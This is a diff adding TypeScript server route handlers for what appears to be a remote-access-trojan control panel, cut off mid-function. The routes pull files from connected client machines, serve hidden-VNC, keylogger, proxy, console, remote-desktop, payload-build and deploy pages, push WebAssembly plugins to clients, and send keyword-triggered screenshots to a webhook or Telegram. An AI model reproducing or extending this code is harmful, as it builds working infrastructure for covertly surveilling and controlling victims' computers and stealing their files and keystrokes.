timeout: ReturnType<typeof setTimeout>;
};
type DownloadIntent = {
id: string;
userId: string;
clientId: string;
path: string;
expiresAt: number;
timeout: ReturnType<typeof setTimeout>;
};
type FileDownloadRouteDeps = {
DATA_DIR: string;
secureHeaders: (contentType?: string) => Record<string, string>;
sanitizeOutputName: (name: string) => string;
pendingHttpDownloads: Map<string, PendingHttpDownload>;
downloadIntents: Map<string, DownloadIntent>;
};
export async function handleFileDownloadRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
deps: FileDownloadRouteDeps,
): Promise<Response | null> {
if (!url.pathname.startsWith("/api/file/download")) {
return null;
}
if (req.method === "POST" && url.pathname === "/api/file/download") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const downloadId = typeof body?.downloadId === "string" ? body.downloadId : "";
logger.debug("[filebrowser] http download request", {
downloadId,
userId: user.userId,
ip: server.requestIP(req)?.address || "unknown",
});
if (!downloadId) {
return new Response("Bad request", { status: 400 });
}
const intent = deps.downloadIntents.get(downloadId);
if (!intent || intent.userId !== user.userId || intent.expiresAt < Date.now()) {
logger.debug("[filebrowser] http download intent missing", {
downloadId,
userId: user.userId,
intentUserId: intent?.userId,
expiresAt: intent?.expiresAt,
});
return new Response("Not found", { status: 404 });
}
deps.downloadIntents.delete(downloadId);
clearTimeout(intent.timeout);
const clientId = intent.clientId;
const downloadPath = intent.path;
const target = clientManager.getClient(clientId);
if (!target) {
logger.debug("[filebrowser] http download target offline", {
downloadId,
clientId,
});
return new Response("Client offline", { status: 404 });
}
const commandId = uuidv4();
const downloadDir = path.join(deps.DATA_DIR, "downloads");
await fs.mkdir(downloadDir, { recursive: true });
const tmpPath = path.join(downloadDir, `${commandId}.bin`);
let fileName = path.basename(downloadPath) || "download.bin";
try {
fileName = deps.sanitizeOutputName(fileName);
} catch {
fileName = "download.bin";
}
const fileHandle = await fs.open(tmpPath, "w+");
logger.debug("[filebrowser] http download start", {
commandId,
clientId,
path: downloadPath,
tmpPath,
});
const downloadPromise = new Promise<PendingHttpDownload>((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingHttpDownloads.delete(commandId);
void fileHandle.close();
void fs.unlink(tmpPath).catch(() => {});
reject(new Error("Download timed out"));
}, 5 * 60_000);
deps.pendingHttpDownloads.set(commandId, {
commandId,
clientId,
path: downloadPath,
fileName,
total: 0,
receivedBytes: 0,
receivedOffsets: new Set(),
receivedChunks: new Set(),
chunkSize: 0,
expectedChunks: 0,
loggedTotal: false,
loggedFirstChunk: false,
tmpPath,
fileHandle,
resolve,
reject,
timeout,
});
});
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_download",
id: commandId,
payload: { path: downloadPath },
}),
);
logger.debug("[filebrowser] http download command sent", {
commandId,
clientId,
path: downloadPath,
});
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.FILE_DOWNLOAD,
targetClientId: clientId,
details: JSON.stringify({ path: downloadPath, via: "http" }),
success: true,
});
let completed: PendingHttpDownload;
try {
completed = await downloadPromise;
} catch (err) {
logger.debug("[filebrowser] http download failed", {
commandId,
clientId,
path: downloadPath,
error: (err as Error)?.message || String(err),
});
return new Response((err as Error).message || "Download failed", { status: 500 });
}
logger.debug("[filebrowser] http download complete", {
commandId,
clientId,
path: downloadPath,
total: completed.total,
receivedBytes: completed.receivedBytes,
expectedChunks: completed.expectedChunks,
receivedChunks: completed.receivedChunks.size,
});
const headers = {
...deps.secureHeaders("application/octet-stream"),
"Content-Disposition": `attachment; filename="${completed.fileName}"`,
"Cache-Control": "no-store",
};
setTimeout(() => {
void fs.unlink(completed.tmpPath).catch(() => {});
}, 5 * 60_000);
return new Response(Bun.file(completed.tmpPath), { headers });
}
if (req.method === "POST" && url.pathname === "/api/file/download/request") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const clientId = typeof body?.clientId === "string" ? body.clientId : "";
const downloadPath = typeof body?.path === "string" ? body.path : "";
if (!clientId || !downloadPath) {
return new Response("Bad request", { status: 400 });
}
const target = clientManager.getClient(clientId);
if (!target) {
return new Response("Client offline", { status: 404 });
}
const downloadId = uuidv4();
const expiresAt = Date.now() + 2 * 60_000;
const timeout = setTimeout(() => {
deps.downloadIntents.delete(downloadId);
}, 2 * 60_000);
deps.downloadIntents.set(downloadId, {
id: downloadId,
userId: user.userId,
clientId,
path: downloadPath,
expiresAt,
timeout,
});
return Response.json({ ok: true, downloadId });
}
return null;
}
@@ -0,0 +1,138 @@
import { authenticateRequest } from "../../auth";
import * as clientManager from "../../clientManager";
import { getAuditLogs } from "../../auditLog";
import { listClients } from "../../db";
import { logger } from "../../logger";
import { metrics } from "../../metrics";
import { requirePermission } from "../../rbac";
type MiscRouteDeps = {
CORS_HEADERS: Record<string, string>;
SERVER_VERSION: string;
getConsoleSessionCount: () => number;
getRdSessionCount: () => number;
getFileBrowserSessionCount: () => number;
getProcessSessionCount: () => number;
};
export async function handleMiscRoutes(
req: Request,
url: URL,
deps: MiscRouteDeps,
): Promise<Response | null> {
if (req.method === "GET" && url.pathname === "/api/metrics") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
const snapshot = metrics.getSnapshot();
const clientList = listClients({ page: 1, pageSize: 10000, search: "", sort: "last_seen_desc" });
logger.debug(
`[metrics] Database reports: total=${clientList.total}, online=${clientList.online}, items=${clientList.items.length}`,
);
logger.debug(`[metrics] In-memory clients map size: ${clientManager.getClientCount()}`);
snapshot.clients.total = clientList.total;
snapshot.clients.online = clientList.online;
snapshot.clients.offline = clientList.total - clientList.online;
const byOS: Record<string, number> = {};
const byCountry: Record<string, number> = {};
const byOSOnline: Record<string, number> = {};
const byCountryOnline: Record<string, number> = {};
let onlineCounted = 0;
const totalItems = clientList.items.length;
for (const item of clientList.items) {
if (item.os) {
byOS[item.os] = (byOS[item.os] || 0) + 1;
}
if (item.country) {
byCountry[item.country] = (byCountry[item.country] || 0) + 1;
}
if (!item.online) continue;
onlineCounted++;
if (item.os) {
byOSOnline[item.os] = (byOSOnline[item.os] || 0) + 1;
}
if (item.country) {
byCountryOnline[item.country] = (byCountryOnline[item.country] || 0) + 1;
}
}
snapshot.clients.byOS = byOS;
snapshot.clients.byCountry = byCountry;
snapshot.sessions.console = deps.getConsoleSessionCount();
snapshot.sessions.remoteDesktop = deps.getRdSessionCount();
snapshot.sessions.fileBrowser = deps.getFileBrowserSessionCount();
snapshot.sessions.process = deps.getProcessSessionCount();
metrics.recordHistoryEntry(snapshot);
const history = metrics.getHistory();
return new Response(JSON.stringify({ snapshot, history }), {
headers: { "Content-Type": "application/json" },
});
}
if (url.pathname === "/health") {
return new Response("ok", { headers: deps.CORS_HEADERS });
}
if (req.method === "GET" && url.pathname === "/api/version") {
return new Response(JSON.stringify({ version: deps.SERVER_VERSION }), {
headers: {
...deps.CORS_HEADERS,
"Content-Type": "application/json",
},
});
}
if (req.method === "GET" && url.pathname === "/api/audit-logs") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
try {
requirePermission(user, "audit:view");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const page = Math.max(1, Number(url.searchParams.get("page") || 1));
const pageSize = Math.max(1, Math.min(100, Number(url.searchParams.get("pageSize") || 50)));
const targetClientId = (url.searchParams.get("clientId") || "").trim();
const action = (url.searchParams.get("action") || "").trim();
const actionsRaw = (url.searchParams.get("actions") || "").trim();
const actions = actionsRaw
? actionsRaw
.split(",")
.map((entry) => entry.trim())
.filter(Boolean)
: undefined;
const startDate = Number(url.searchParams.get("startDate") || 0) || undefined;
const endDate = Number(url.searchParams.get("endDate") || 0) || undefined;
const successOnly = url.searchParams.get("successOnly") === "true";
const result = getAuditLogs({
page,
pageSize,
targetClientId: targetClientId || undefined,
action: action || undefined,
actions,
startDate,
endDate,
successOnly,
});
return Response.json(result, { headers: deps.CORS_HEADERS });
}
return null;
}
@@ -0,0 +1,164 @@
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { getConfig, updateNotificationsConfig } from "../../config";
import { encodeMessage } from "../../protocol";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
type NotificationsRouteDeps = {
getNotificationScreenshot: (notificationId: string) => { format?: string; bytes: Uint8Array } | null;
secureHeaders: (contentType?: string) => HeadersInit;
};
export async function handleNotificationsConfigRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
deps: NotificationsRouteDeps,
): Promise<Response | null> {
const screenshotMatch = url.pathname.match(/^\/api\/notifications\/([^/]+)\/screenshot$/);
if (req.method === "GET" && screenshotMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
const notificationId = decodeURIComponent(screenshotMatch[1]);
const screenshot = deps.getNotificationScreenshot(notificationId);
if (!screenshot) {
return new Response("Not found", { status: 404 });
}
const format = (screenshot.format || "jpeg").toLowerCase();
const contentType = format === "jpg" || format === "jpeg"
? "image/jpeg"
: format === "png"
? "image/png"
: format === "webp"
? "image/webp"
: "application/octet-stream";
return new Response(screenshot.bytes as unknown as BodyInit, {
headers: deps.secureHeaders(contentType),
});
}
if (req.method === "GET" && url.pathname === "/api/notifications/config") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewer access denied", { status: 403 });
}
return Response.json({ notifications: getConfig().notifications });
}
if (req.method === "PUT" && url.pathname === "/api/notifications/config") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", {
status: 403,
});
}
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
const currentConfig = getConfig().notifications;
const hasKeywords = Array.isArray(body?.keywords);
const rawKeywords = hasKeywords ? body.keywords : currentConfig.keywords || [];
const keywords = rawKeywords
.map((k: any) => String(k).trim())
.filter(Boolean)
.slice(0, 200);
const webhookEnabled =
typeof body?.webhookEnabled === "boolean"
? body.webhookEnabled
: currentConfig.webhookEnabled;
const webhookUrl =
typeof body?.webhookUrl === "string"
? body.webhookUrl.trim()
: currentConfig.webhookUrl || "";
const telegramEnabled =
typeof body?.telegramEnabled === "boolean"
? body.telegramEnabled
: currentConfig.telegramEnabled;
const telegramBotToken =
typeof body?.telegramBotToken === "string"
? body.telegramBotToken.trim()
: currentConfig.telegramBotToken || "";
const telegramChatId =
typeof body?.telegramChatId === "string"
? body.telegramChatId.trim()
: currentConfig.telegramChatId || "";
if (webhookUrl) {
try {
const parsed = new URL(webhookUrl);
if (!/^https?:$/.test(parsed.protocol)) {
return Response.json(
{ error: "Webhook URL must be http(s)" },
{ status: 400 },
);
}
} catch {
return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
}
}
const updated = await updateNotificationsConfig({
keywords,
webhookEnabled,
webhookUrl,
telegramEnabled,
telegramBotToken,
telegramChatId,
});
for (const client of clientManager.getAllClients().values()) {
if (client.role !== "client") continue;
try {
client.ws.send(
encodeMessage({
type: "notification_config",
keywords: updated.keywords || [],
minIntervalMs: updated.minIntervalMs || 8000,
}),
);
} catch {}
}
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.COMMAND,
details: `Updated notification keywords (${updated.keywords.length})`,
success: true,
});
return Response.json({ ok: true, notifications: updated });
}
return null;
}
@@ -0,0 +1,316 @@
import { authenticateRequest } from "../../auth";
import { requirePermission } from "../../rbac";
import { getUserById } from "../../users";
type PageRouteDeps = {
PUBLIC_ROOT: string;
secureHeaders: (contentType?: string) => Record<string, string>;
mimeType: (path: string) => string;
};
async function serveLoginOrUnauthorized(deps: PageRouteDeps): Promise<Response> {
const loginFile = Bun.file(`${deps.PUBLIC_ROOT}/login.html`);
if (await loginFile.exists()) {
return new Response(loginFile, { headers: deps.secureHeaders(deps.mimeType("/login.html")) });
}
return new Response("Unauthorized", { status: 401 });
}
async function serveChangePasswordIfRequired(
deps: PageRouteDeps,
userId: number,
): Promise<Response | null> {
const dbUser = getUserById(userId);
if (dbUser && dbUser.must_change_password) {
const changePassFile = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`);
if (await changePassFile.exists()) {
return new Response(changePassFile, {
headers: deps.secureHeaders(deps.mimeType("/change-password.html")),
});
}
}
return null;
}
export async function handlePageRoutes(
req: Request,
url: URL,
deps: PageRouteDeps,
): Promise<Response | null> {
if (req.method === "GET" && (url.pathname === "/" || url.pathname === "/index.html")) {
const authed = await authenticateRequest(req);
if (authed) {
const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId);
if (maybeChange) return maybeChange;
}
const filePath = authed ? "/index.html" : "/login.html";
const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(filePath)) });
}
}
if (req.method === "GET" && url.pathname === "/change-password.html") {
const file = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("/change-password.html")) });
}
}
if (req.method === "GET" && url.pathname === "/remotedesktop") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/remotedesktop.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("remotedesktop.html")) });
}
}
if (req.method === "GET" && url.pathname === "/hvnc") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/hvnc.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("hvnc.html")) });
}
}
if (req.method === "GET" && url.pathname === "/metrics") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
const file = Bun.file(`${deps.PUBLIC_ROOT}/metrics.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("metrics.html")) });
}
}
if (req.method === "GET" && url.pathname === "/logs") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
try {
requirePermission(user, "audit:view");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/logs.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("logs.html")) });
}
}
if (req.method === "GET" && url.pathname === "/notifications") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
const file = Bun.file(`${deps.PUBLIC_ROOT}/notifications.html`);
if (await file.exists()) {
return new Response(file, {
headers: deps.secureHeaders(deps.mimeType("notifications.html")),
});
}
}
if (req.method === "GET" && url.pathname === "/users") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/users.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("users.html")) });
}
}
if (req.method === "GET" && url.pathname === "/build") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/build.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("build.html")) });
}
}
if (req.method === "GET" && url.pathname === "/plugins") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/plugins.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("plugins.html")) });
}
}
const consolePageMatch = url.pathname.match(/^\/(.+)\/console$/);
if (req.method === "GET" && consolePageMatch) {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/console.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("console.html")) });
}
}
const filesPageMatch = url.pathname.match(/^\/(.+)\/files$/);
if (req.method === "GET" && filesPageMatch) {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/filebrowser.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("filebrowser.html")) });
}
}
const processesPageMatch = url.pathname.match(/^\/(.+)\/processes$/);
if (req.method === "GET" && processesPageMatch) {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/processes.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("processes.html")) });
}
}
const keyloggerPageMatch = url.pathname.match(/^\/(.+)\/keylogger$/);
if (req.method === "GET" && keyloggerPageMatch) {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/keylogger.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("keylogger.html")) });
}
}
const proxyPageMatch = url.pathname.match(/^\/(.+)\/proxy$/);
if (req.method === "GET" && proxyPageMatch) {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/proxy.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("proxy.html")) });
}
}
if (req.method === "GET" && url.pathname === "/scripts") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot execute scripts", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/scripts.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("scripts.html")) });
}
}
if (req.method === "GET" && url.pathname === "/deploy") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/deploy.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("deploy.html")) });
}
}
return null;
}
@@ -0,0 +1,465 @@
import fs from "fs/promises";
import path from "path";
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { requirePermission } from "../../rbac";
import * as clientManager from "../../clientManager";
import { metrics } from "../../metrics";
import { encodeMessage } from "../../protocol";
type PluginManifest = {
id: string;
name: string;
};
type PluginBundle = {
manifest: PluginManifest;
wasm: Uint8Array;
};
type PluginState = {
enabled: Record<string, boolean>;
lastError: Record<string, string>;
};
type PluginRouteDeps = {
PLUGIN_ROOT: string;
pluginState: PluginState;
pluginLoadedByClient: Map<string, Set<string>>;
pluginLoadingByClient: Map<string, Set<string>>;
pendingPluginEvents: Map<string, Array<{ event: string; payload: any }>>;
sanitizePluginId: (name: string) => string;
ensurePluginExtracted: (pluginId: string) => Promise<void>;
savePluginState: () => Promise<void>;
listPluginManifests: () => Promise<PluginManifest[]>;
loadPluginBundle: (pluginId: string) => Promise<PluginBundle>;
sendPluginBundle: (target: any, bundle: PluginBundle) => void;
markPluginLoading: (clientId: string, pluginId: string) => void;
isPluginLoaded: (clientId: string, pluginId: string) => boolean;
isPluginLoading: (clientId: string, pluginId: string) => boolean;
enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void;
secureHeaders: (contentType?: string) => Record<string, string>;
securePluginHeaders: () => Record<string, string>;
mimeType: (path: string) => string;
};
export async function handlePluginRoutes(
req: Request,
url: URL,
deps: PluginRouteDeps,
): Promise<Response | null> {
if (
!url.pathname.startsWith("/api/plugins") &&
!url.pathname.startsWith("/plugins/") &&
!url.pathname.match(/^\/api\/clients\/.+\/plugins/)
) {
return null;
}
if (req.method === "GET" && url.pathname === "/api/plugins") {
if (!(await authenticateRequest(req))) {
return new Response("Unauthorized", { status: 401 });
}
const plugins = await deps.listPluginManifests();
const enriched = plugins.map((p) => ({
...p,
enabled: deps.pluginState.enabled[p.id] !== false,
lastError: deps.pluginState.lastError[p.id] || "",
}));
return Response.json({ plugins: enriched });
}
const clientPluginsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins$/);
if (req.method === "GET" && clientPluginsMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const clientId = clientPluginsMatch[1];
const loaded = deps.pluginLoadedByClient.get(clientId) || new Set<string>();
const manifests = await deps.listPluginManifests();
const plugins = manifests.map((manifest) => ({
id: manifest.id,
name: manifest.name || manifest.id,
loaded: loaded.has(manifest.id),
enabled: deps.pluginState.enabled[manifest.id] !== false,
lastError: deps.pluginState.lastError[manifest.id] || "",
}));
return Response.json({ plugins });
}
if (req.method === "POST" && url.pathname === "/api/plugins/upload") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
let form: FormData;
try {
form = await req.formData();
} catch {
return new Response("Bad request", { status: 400 });
}
const file = form.get("file");
if (!(file instanceof File)) {
return new Response("Missing file", { status: 400 });
}
const filename = file.name || "plugin.zip";
if (!filename.toLowerCase().endsWith(".zip")) {
return new Response("Only .zip files are supported", { status: 400 });
}
const base = path.basename(filename, path.extname(filename));
let pluginId = "";
try {
pluginId = deps.sanitizePluginId(base);
} catch {
return new Response("Invalid plugin name", { status: 400 });
}
await fs.mkdir(deps.PLUGIN_ROOT, { recursive: true });
const zipPath = path.join(deps.PLUGIN_ROOT, `${pluginId}.zip`);
const data = new Uint8Array(await file.arrayBuffer());
await fs.writeFile(zipPath, data);
try {
await deps.ensurePluginExtracted(pluginId);
} catch (err) {
return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
}
if (deps.pluginState.enabled[pluginId] === undefined) {
deps.pluginState.enabled[pluginId] = true;
await deps.savePluginState();
}
return Response.json({ ok: true, id: pluginId });
}
const pluginEnableMatch = url.pathname.match(/^\/api\/plugins\/(.+)\/enable$/);
if (req.method === "POST" && pluginEnableMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
let pluginId = "";
try {
pluginId = deps.sanitizePluginId(pluginEnableMatch[1]);
} catch {
return new Response("Invalid plugin id", { status: 400 });
}
let body: any = {};
try {
body = await req.json();
} catch {}
const enabled = !!body.enabled;
deps.pluginState.enabled[pluginId] = enabled;
await deps.savePluginState();
return Response.json({ ok: true, id: pluginId, enabled });
}
const pluginDeleteMatch = url.pathname.match(/^\/api\/plugins\/(.+)$/);
if (req.method === "DELETE" && pluginDeleteMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
let pluginId = "";
try {
pluginId = deps.sanitizePluginId(pluginDeleteMatch[1]);
} catch {
return new Response("Invalid plugin id", { status: 400 });
}
const zipPath = path.join(deps.PLUGIN_ROOT, `${pluginId}.zip`);
const pluginDir = path.join(deps.PLUGIN_ROOT, pluginId);
try {
await fs.rm(zipPath, { force: true });
} catch {}
try {
await fs.rm(pluginDir, { recursive: true, force: true });
} catch {}
deps.pluginLoadedByClient.forEach((set) => set.delete(pluginId));
deps.pluginLoadingByClient.forEach((set) => set.delete(pluginId));
delete deps.pluginState.enabled[pluginId];
delete deps.pluginState.lastError[pluginId];
await deps.savePluginState();
return Response.json({ ok: true, id: pluginId });
}
const pluginLoadMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/load$/);
if (req.method === "POST" && pluginLoadMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = pluginLoadMatch[1];
const pluginId = pluginLoadMatch[2];
const target = clientManager.getClient(targetId);
if (!target) return new Response("Not found", { status: 404 });
if (deps.isPluginLoaded(targetId, pluginId)) {
return Response.json({ ok: true, alreadyLoaded: true });
}
if (deps.isPluginLoading(targetId, pluginId)) {
return Response.json({ ok: true, loading: true });
}
try {
const bundle = await deps.loadPluginBundle(pluginId);
deps.markPluginLoading(targetId, pluginId);
deps.sendPluginBundle(target, bundle);
metrics.recordCommand("plugin_load");
return Response.json({ ok: true });
} catch (err) {
return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
}
}
const pluginEventMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/event$/);
if (req.method === "POST" && pluginEventMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = pluginEventMatch[1];
const pluginId = pluginEventMatch[2];
const target = clientManager.getClient(targetId);
if (!target) return new Response("Not found", { status: 404 });
if (deps.pluginState.enabled[pluginId] === false) {
return Response.json({ ok: false, error: "Plugin disabled" }, { status: 400 });
}
let body: any = {};
try {
body = await req.json();
} catch {
body = {};
}
const event = typeof body.event === "string" ? body.event : "";
const payload = body.payload;
if (!event) {
return new Response("Bad request", { status: 400 });
}
if (!deps.isPluginLoaded(targetId, pluginId)) {
deps.enqueuePluginEvent(targetId, pluginId, event, payload);
if (!deps.isPluginLoading(targetId, pluginId)) {
try {
const bundle = await deps.loadPluginBundle(pluginId);
deps.markPluginLoading(targetId, pluginId);
deps.sendPluginBundle(target, bundle);
metrics.recordCommand("plugin_load");
} catch (err) {
return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
}
}
metrics.recordCommand("plugin_event");
return Response.json({ ok: true, queued: true });
}
target.ws.send(
encodeMessage({
type: "plugin_event",
pluginId,
event,
payload,
}),
);
metrics.recordCommand("plugin_event");
return Response.json({ ok: true });
}
const pluginUnloadMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/unload$/);
if (req.method === "POST" && pluginUnloadMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = pluginUnloadMatch[1];
const pluginId = pluginUnloadMatch[2];
const target = clientManager.getClient(targetId);
if (!target) return new Response("Not found", { status: 404 });
target.ws.send(
encodeMessage({
type: "command",
commandType: "plugin_unload",
id: uuidv4(),
payload: { pluginId },
}),
);
deps.pluginLoadedByClient.get(targetId)?.delete(pluginId);
deps.pluginLoadingByClient.get(targetId)?.delete(pluginId);
deps.pendingPluginEvents.delete(`${targetId}:${pluginId}`);
return Response.json({ ok: true, id: pluginId });
}
const pluginFrameMatch = url.pathname.match(/^\/plugins\/([^/]+)\/frame$/);
if (req.method === "GET" && pluginFrameMatch) {
